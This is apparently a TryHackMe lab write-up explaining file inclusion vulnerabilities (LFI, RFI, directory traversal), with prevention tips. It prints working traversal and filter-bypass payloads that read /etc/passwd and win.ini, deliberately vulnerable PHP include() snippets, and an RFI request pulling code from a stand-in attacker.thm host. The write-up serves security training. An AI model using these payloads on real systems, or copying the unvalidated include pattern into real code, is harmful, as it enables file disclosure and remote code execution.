File Inclusion TryHackMe
Understanding File Inclusion Vulnerabilities
File Inclusion is a common web application vulnerability that occurs when an application dynamically loads files based on user input without proper validation. This flaw can lead to Local File Inclusion (LFI), Remote File Inclusion (RFI), and Directory Traversal attacks, allowing attackers to read sensitive files, disclose system information, or even execute malicious code.
In this article, we’ll cover:
-
How file inclusion vulnerabilities work
-
Types: LFI, RFI, and Directory Traversal
-
Real-world exploitation examples
-
Risks and impacts
-
Prevention techniques
How File Inclusion Works
Some web applications allow users to request and display files from the server, such as images, documents, or language templates through the URL parameters.
Example URL with a parameter:
http://webapp.thm/get.php?file=userCV.pdf
Here:
-
file-> parameter name -
userCV.pdf-> file requested
If user input is not validated, an attacker can modify the parameter to access other files, potentially outside the intended directory.
Why File Inclusion Vulnerabilities Happen
The root cause is poor input validation.
Common issues include:
-
Directly passing user-controlled input to file-handling functions.
-
Not sanitizing parameters.
-
Over-reliance on functions without filtering paths or file types.
Languages like PHP are particularly prone when functions such as include(), require(), file_get_contents() are misused.
Risks of File Inclusion
An attacker may:
-
Leak sensitive data (e.g., source code, credentials, system files).
-
Gain Remote Code Execution (RCE) if they can upload malicious files and include them.
-
Chain with other vulnerabilities (e.g., upload + LFI → RCE).
-
Disclose internal system paths and configuration.
Directory Traversal (Path Traversal)
Directory Traversal lets attackers read files outside the web root by manipulating paths using special sequences like ../ to move up directories.
Example (Linux target):
http://webapp.thm/get.php?file=../../../../etc/passwd
Example (Windows target):
http://webapp.thm/get.php?file=../../../../boot.ini
or
http://webapp.thm/get.php?file=../../../../windows/win.ini
If no validation is in place, the application may serve files from outside its intended directory.
Local File Inclusion (LFI) Examples
LFI occurs when a local file is included into a script via user-controlled input.
Example 1) Simple LFI
<?php
include($_GET["lang"]);
?>
Request:
http://webapp.thm/index.php?lang=EN.php
If there’s no validation, we could read /etc/passwd:
http://webapp.thm/index.php?lang=/etc/passwd
Example 2) LFI with Specified Directory
<?php
include("languages/". $_GET['lang']);
?>
Even though the developer specifies a directory, traversal still works:
http://webapp.thm/index.php?lang=../../../../etc/passwd
Example 3) Black Box Testing with .php Extension
If the app appends .php automatically:
Warning: include(languages/THM.php)...
You can bypass using Null Byte injection:
http://webapp.thm/index.php?lang=../../../../../etc/passwd%00
This tricks the application into ignoring .php.
(Note: Null Byte is patched in PHP 5.3.4+.)
Example 4) Keyword Filtering Bypass
If /etc/passwd is blocked, you can use:
-
Null Byte:
/etc/passwd%00 -
Current directory trick:
/etc/passwd/.
Example 5) Filter Replacing ../
If the application removes ../, you can double-encode:
....//....//....//etc/passwd
Example 6) Forced Directory Inclusion
If the app requires a certain directory in the input:
?lang=languages/../../../../../etc/passwd
Remote File Inclusion (RFI)
RFI allows attackers to include files from external servers.
Requires allow_url_fopen to be enabled in PHP.
Example:
Attacker hosts cmd.txt:
<?php echo "Hello THM"; ?>
Injecting into the vulnerable app:
http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt
The app fetches and executes the remote file, potentially allowing full RCE.
How to Prevent File Inclusion Vulnerabilities
-
Keep software updated: frameworks, languages, and libraries.
-
Disable risky PHP settings if not required:
-
allow_url_fopen -
allow_url_include
-
-
Turn off PHP error display in production to avoid information leaks.
-
Validate all user inputs: whitelist allowed file names and paths.
-
Avoid dynamic file inclusion entirely if possible.
-
Use a Web Application Firewall (WAF) to block common attack patterns.
-
Allow only required protocols/wrappers in the application.
Challenges
Final Thoughts
File inclusion vulnerabilities can lead to a lot of unwanted impacts, including full server compromise. Whether you’re a developer or security tester, understanding how they work, how to exploit them, and how to prevent them is critical for building and securing web applications.
Comments
Post a Comment